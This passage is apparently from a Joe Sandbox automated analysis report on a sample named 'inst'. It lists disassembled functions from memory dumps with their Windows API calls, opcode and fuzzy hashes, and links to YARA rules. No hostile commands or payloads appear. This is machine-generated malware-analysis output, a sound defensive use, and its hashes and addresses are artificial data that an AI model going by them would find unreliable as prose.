Part of subcall function 001B1F15: GetClientRect.USER32(?,?), ref: 001B1F5D
Part of subcall function 001B1F15: GetWindowTextW.USER32(?,00000000,00000080), ref: 001B1FA2

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: RectWindow$Client$BeginCompatibleCreateEnabledH_prolog3H_prolog3_ObjectPaintSelectTextViewport
String ID:
API String ID: 2602395704-0
Opcode ID: b2333b92fc10a895a60bffcd7bccc525501b802b9512316f1f78370eaf0c15b3
Instruction ID: 2b5fbd7560d947b750985db32371b8f7c794d3e65bd5a4c0a4c5a5d15e2612d8
Opcode Fuzzy Hash: b2333b92fc10a895a60bffcd7bccc525501b802b9512316f1f78370eaf0c15b3
Instruction Fuzzy Hash: 63116D70D00618EADF15EB99C8919EDFBBAFF65300F50800AF559A7161DB305A49DF21

Function 5F501F45 Relevance: 3.1, APIs: 2, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 5F4FE53F: __EH_prolog3_catch.LIBCMT ref: 5F4FE546
Part of subcall function 5F4FE53F: __CxxThrowException@8.LIBCMT ref: 5F4FE56A
Part of subcall function 5F4FE53F: CreateWaitableTimerW.KERNEL32(00000000,00000001,00000000), ref: 5F4FE5F1
Part of subcall function 5F4FE53F: GetLastError.KERNEL32 ref: 5F4FE600
Part of subcall function 5F4FE53F: SetWaitableTimer.KERNEL32(00000000,?,00000000,00000000,00000000,00000000), ref: 5F4FE628
Part of subcall function 5F4FE53F: GetLastError.KERNEL32 ref: 5F4FE632
Part of subcall function 5F4FE53F: CreateMutexW.KERNEL32(00000000,00000000,00000000), ref: 5F4FE64B
Part of subcall function 5F4FE53F: GetLastError.KERNEL32 ref: 5F4FE658

GetTickCount.KERNEL32 ref: 5F501F6F
GetTickCount.KERNEL32 ref: 5F501F74

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: ErrorLast$CountCreateTickTimerWaitable$Exception@8H_prolog3_catchMutexThrow
String ID:
API String ID: 1909352761-0
Opcode ID: 2f9db7669bd8666994471a73379a19551d5a5d1915a144f99c9e79b42e16a0f1
Instruction ID: d984efa06ca613b212418b547e4f2fe191ab8601e8d2633d6871a9d01f224ce6
Opcode Fuzzy Hash: 2f9db7669bd8666994471a73379a19551d5a5d1915a144f99c9e79b42e16a0f1
Instruction Fuzzy Hash: 2511D3B0801B809EC370DF6B9984D97FBF8FBD5B14750492EE58AC2A10E771A044CBA1

Function 001B56BD Relevance: 3.1, APIs: 2, Instructions: 54COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000000E), ref: 001B56D5
CreateWindowExW.USER32(?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 001B5746

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CreateErrorLastWindow
String ID:
API String ID: 3732789607-0
Opcode ID: 4e4ee0be4c3bc8df7a4c9408a6960cf8ae53b22de975e4295df4d21297c4cc5a
Instruction ID: 62b35401c2fa450707df5827c97cb04cacf242e308f33db3c9f98ed9c247a714
Opcode Fuzzy Hash: 4e4ee0be4c3bc8df7a4c9408a6960cf8ae53b22de975e4295df4d21297c4cc5a
Instruction Fuzzy Hash: 48114835210209EFDB148F54DD09FEA3BAAEF18300F058129FD05961A0EBB0ED60CFA0

Function 0017DB68 Relevance: 3.1, APIs: 2, Instructions: 51COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0017DBA8

Part of subcall function 001E4656: RaiseException.KERNEL32(?,?,?,001680B1,?,?,?,?,?,001680B1,0023F5B8,0023F5B8), ref: 001E4698

_wcsncpy.LIBCMT ref: 0017DBBE

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: ExceptionException@8RaiseThrow_wcsncpy
String ID:
API String ID: 3304455579-0
Opcode ID: b39b97bfc573b0d62510ffd80b7230dec1037ab724aae6404b2a9b4bcc82ff35
Instruction ID: be42a397d46851788087f23b5533404f13e12c81be7861cb9eb6c1905cddc868
Opcode Fuzzy Hash: b39b97bfc573b0d62510ffd80b7230dec1037ab724aae6404b2a9b4bcc82ff35
Instruction Fuzzy Hash: 1701DBB12006046ED724AF69DC42D69B7FCEF5A300B11882EF549C7191D77098408751

Function 001B2F2F Relevance: 3.0, APIs: 2, Instructions: 50COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 001B2F39

Part of subcall function 00197451: BeginPaint.USER32(?,?), ref: 0019746E

GetClientRect.USER32(?,?), ref: 001B2F66

Part of subcall function 00197323: CreateCompatibleDC.GDI32(?), ref: 00197347
Part of subcall function 00197323: SelectObject.GDI32(?,?), ref: 0019736E
Part of subcall function 00197323: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00197387

Part of subcall function 001A6537: GetWindowRect.USER32(?,00000000), ref: 001A6554

Part of subcall function 00197395: BitBlt.GDI32(?,?,?,?,?,00000000,?,?,00CC0020), ref: 001973B8
Part of subcall function 00197395: SelectObject.GDI32(00000000,?), ref: 001973C3
Part of subcall function 00197395: DeleteDC.GDI32(00000000), ref: 001973E0

Part of subcall function 0019747C: EndPaint.USER32(?,?), ref: 0019748C

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: ObjectPaintRectSelect$BeginClientCompatibleCreateDeleteH_prolog3_ViewportWindow
String ID:
API String ID: 2413813215-0
Opcode ID: aee965ca4f81e61f7eb4f03e33dce47ee1ba30dbc870deb71eddb60b1ed6e4ee
Instruction ID: 1de3cc2252f4f7ced6d9cbcfeba0d6101b6ed0d8aad0484772d603b8c52e1439
Opcode Fuzzy Hash: aee965ca4f81e61f7eb4f03e33dce47ee1ba30dbc870deb71eddb60b1ed6e4ee
Instruction Fuzzy Hash: 8C112971800A19EFDF219B91CC41DAEFBBAFF28304F008459E58966561DB726A15DB20

Function 5F527D19 Relevance: 3.0, APIs: 2, Instructions: 49networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 5F527D50
WSAGetLastError.WS2_32 ref: 5F527D94

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: ErrorLast_memset
String ID:
API String ID: 533350023-0
Opcode ID: 1fe01c4ea417c8e8152979469d0050761c2e487089b13de27105fda0f6a4074d
Instruction ID: 4b989f3559251fe48ed3c757bab8ffe67f87bed32bee7bc8e281b9dc62c26943
Opcode Fuzzy Hash: 1fe01c4ea417c8e8152979469d0050761c2e487089b13de27105fda0f6a4074d
Instruction Fuzzy Hash: 350156B19012099BEB30DAE4DC80BFE73ECAF59315F50063AA519D71C1EBB061089651

Function 001D2080 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

Part of subcall function 0017898E: RegOpenKeyExW.KERNEL32(?,?,00000000,?,00000000), ref: 001789A8

InitializeCriticalSection.KERNEL32(?,?,00000000,?,?,001CEAA4,?,0017BD49,00100000,00000000,0000008C), ref: 001D20EE

Part of subcall function 00178940: RegCreateKeyExW.KERNEL32(?,?,00000000,?,?,?,?,00000000,?), ref: 00178967

Strings

SOFTWARE\360Safe\softmgr\dio, xrefs: 001D20A6, 001D20DD

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CreateCriticalInitializeOpenSection
String ID: SOFTWARE\360Safe\softmgr\dio
API String ID: 2223640745-1814773269
Opcode ID: aeebd733bbdb3404232ab30c64fd65958f01a1ffb5e329cf843cd69c98f7e02e
Instruction ID: d8716e6d818938341ef13403452709554c0c0cd54b88600951b7e26e4e3d5424
Opcode Fuzzy Hash: aeebd733bbdb3404232ab30c64fd65958f01a1ffb5e329cf843cd69c98f7e02e
Instruction Fuzzy Hash: 44017CB1680719AAD3349F599CC5867F7ECFF59754390492EA19AC3A41DB70A9048710

Function 0017ADC4 Relevance: 3.0, APIs: 2, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0017ADE3
GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,00000004), ref: 0017ADF3

Part of subcall function 0017995E: __EH_prolog3_catch.LIBCMT ref: 00179965

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: FileH_prolog3H_prolog3_catchModuleName
String ID:
API String ID: 749528002-0
Opcode ID: 66e389f9edbcb0b6856087f2e9e7328d6b748f092291cd22d773b5e18c73123a
Instruction ID: 4f2d9b3a3131ed117f0d33361ddd57368481047bb4b4b7455362c6909316dcf1
Opcode Fuzzy Hash: 66e389f9edbcb0b6856087f2e9e7328d6b748f092291cd22d773b5e18c73123a
Instruction Fuzzy Hash: A3018475A042489BDB14EFA4EC4ABFEB3A4FF14321F50482AE5259B1C1EF716608CB40

Function 001EAC1C Relevance: 3.0, APIs: 2, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 001E98D1: __getptd_noexit.LIBCMT ref: 001E98D1

Part of subcall function 001EA5B1: __decode_pointer.LIBCMT ref: 001EA5BC

__lock_file.LIBCMT ref: 001EAC6C

Part of subcall function 001FD28B: __lock.LIBCMT ref: 001FD2B0

__fclose_nolock.LIBCMT ref: 001EAC76

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: __decode_pointer__fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 717694121-0
Opcode ID: ff379ba5e303ff882faffae254b4d8aeb68678dd6e7fa1d40900cba413a0812e
Instruction ID: b1ac550a37a5e8eae5b6b5b7538a9dfec6d5fbff9d4c6e9a460f32fe6dc0a294
Opcode Fuzzy Hash: ff379ba5e303ff882faffae254b4d8aeb68678dd6e7fa1d40900cba413a0812e
Instruction Fuzzy Hash: CBF0F670C00E849BC721FB6B8802A5E7AA06F92730FB58745F079971D1C73866025B46

Function 001965CA Relevance: 3.0, APIs: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 001965F1
InvalidateRect.USER32(?,00000000,00000001), ref: 001965FD

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Rect$ClientInvalidate
String ID:
API String ID: 645284650-0
Opcode ID: f7c7f65a7043fa76ab08651f992ecff05a38df8c72d7ab4e916926278357585b
Instruction ID: ee1584baa596cdbe4443019bba63c58f451a06a12b6f414c10a1e859f0e80328
Opcode Fuzzy Hash: f7c7f65a7043fa76ab08651f992ecff05a38df8c72d7ab4e916926278357585b
Instruction Fuzzy Hash: 77F08731800644EBCB21DF4ADC489AFFFFAFFE5700B50892EE556A2120D770A940CB60

Function 00183C23 Relevance: 3.0, APIs: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00183C2A
FreeLibrary.KERNEL32(?,00000004,0018565F,?,?,?,?,0022D4D1,00000000), ref: 00183C51

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: FreeH_prolog3Library
String ID:
API String ID: 1631603194-0
Opcode ID: 7487c1307ea3c7e9e534b3ef2d25440b9af4e60bc61d8b3aae01f876f5902df8
Instruction ID: 5dc4f9e5d6fc30bd23fcef81221fb862f86033f4b619e1e9b3a997eb4441e9da
Opcode Fuzzy Hash: 7487c1307ea3c7e9e534b3ef2d25440b9af4e60bc61d8b3aae01f876f5902df8
Instruction Fuzzy Hash: E7F08131100B909BDB24BB76ED4699E77E5BF20704B00482DF1A657191DF70AA81CF10

Function 001774B2 Relevance: 3.0, APIs: 2, Instructions: 31comCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.COMBASE(?,?), ref: 001774D1
CoCreateInstance.OLE32(?,?,?,0021E8A0), ref: 001774E9

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CreateFromInstanceProg
String ID:
API String ID: 2151042543-0
Opcode ID: 12d7802eff7f1faf0275ca461cb4ccea07b19ba3c29dd7be42bf1ef414a15b01
Instruction ID: 45b3e67f27afffbfed4e1e23e8261ae53f354c621c472845089513e17320826c
Opcode Fuzzy Hash: 12d7802eff7f1faf0275ca461cb4ccea07b19ba3c29dd7be42bf1ef414a15b01
Instruction Fuzzy Hash: 4DF01275600249AB8F04DFA9DD49CDFB7BCEF59710B41441AB906E3150DA70EA05C761

Function 001775A2 Relevance: 3.0, APIs: 2, Instructions: 31comCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.COMBASE(?,?), ref: 001775C1
CoCreateInstance.OLE32(?,?,?,0021E8B0), ref: 001775D9

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CreateFromInstanceProg
String ID:
API String ID: 2151042543-0
Opcode ID: 647dd434d0ec415e49b979baed3e3170887d498c59e1f355e66859c73c5fbc2b
Instruction ID: 75baa69018ea770a2d9203eda613aa216314f7204dc7004998f52385b6e2712d
Opcode Fuzzy Hash: 647dd434d0ec415e49b979baed3e3170887d498c59e1f355e66859c73c5fbc2b
Instruction Fuzzy Hash: 73F01C76A00249EB8F04DFA9ED49CDFB7BCEF59710B01402AB806E3190DA70EA05CB61

Function 5F4D7D28 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 5F4D7D5A
__CxxThrowException@8.LIBCMT ref: 5F4D7D6F

Part of subcall function 5F528425: _malloc.LIBCMT ref: 5F52843F

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: Exception@8Throw_mallocstd::exception::exception
String ID:
API String ID: 4063778783-0
Opcode ID: c6b4f919c38bfaba6f2f3f0cce9e31c2371d91d6b13792bd6e8033e28407ced4
Instruction ID: e8ab5b2a16bdfaca1e38949bf10f7c6ee5733dc1743e67d1c333aafc37dd2762
Opcode Fuzzy Hash: c6b4f919c38bfaba6f2f3f0cce9e31c2371d91d6b13792bd6e8033e28407ced4
Instruction Fuzzy Hash: 47F030F19116086BCB09DAE8D854AEF77AD9F40254F108B7FA426D6081DE70D6098AD1

Function 5F4D7CDE Relevance: 3.0, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 5F4D7D0D
__CxxThrowException@8.LIBCMT ref: 5F4D7D22

Part of subcall function 5F528425: _malloc.LIBCMT ref: 5F52843F

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: Exception@8Throw_mallocstd::exception::exception
String ID:
API String ID: 4063778783-0
Opcode ID: 0d23d395ecfcc7742a0664b48eae990a711b4d431dfdcdf9dd0d63bbe24bcf90
Instruction ID: 6abbf318431e71d736a111de84699a9d22f71b4ea1556e0d2df4dfa1b8c8afd4
Opcode Fuzzy Hash: 0d23d395ecfcc7742a0664b48eae990a711b4d431dfdcdf9dd0d63bbe24bcf90
Instruction Fuzzy Hash: ACE065F15122086BC708DAA8D854A9F77ACAB40654F108B6BA826D10C0DE70D6048AD1

Function 0017AA43 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000000E), ref: 0017AA58
CreateDialogParamW.USER32(00000081,?,Function_0001A96B,?), ref: 0017AA89

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CreateDialogErrorLastParam
String ID:
API String ID: 3445605341-0
Opcode ID: aeee918fe23e2dcb9abcd5a9264b5a810f69e88948b3919f476a0970b0053c52
Instruction ID: 9bae120537022ec1a03d34f2dbf0b11da5afdad3884dde56fcfd7ba7fdcbf5c6
Opcode Fuzzy Hash: aeee918fe23e2dcb9abcd5a9264b5a810f69e88948b3919f476a0970b0053c52
Instruction Fuzzy Hash: 74E0D832985310BAD614AB64ED0AFDA3B74AF68701F42C815B549610E0FBE05814C7A2

Function 001B5894 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000000E), ref: 001B58A9
CreateDialogParamW.USER32(000000CA,?,Function_0001A96B,?), ref: 001B58DA

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CreateDialogErrorLastParam
String ID:
API String ID: 3445605341-0
Opcode ID: 041a32269b287f2aafcde34823ee5a0653b83d37b6b755ed2daa93238df03e17
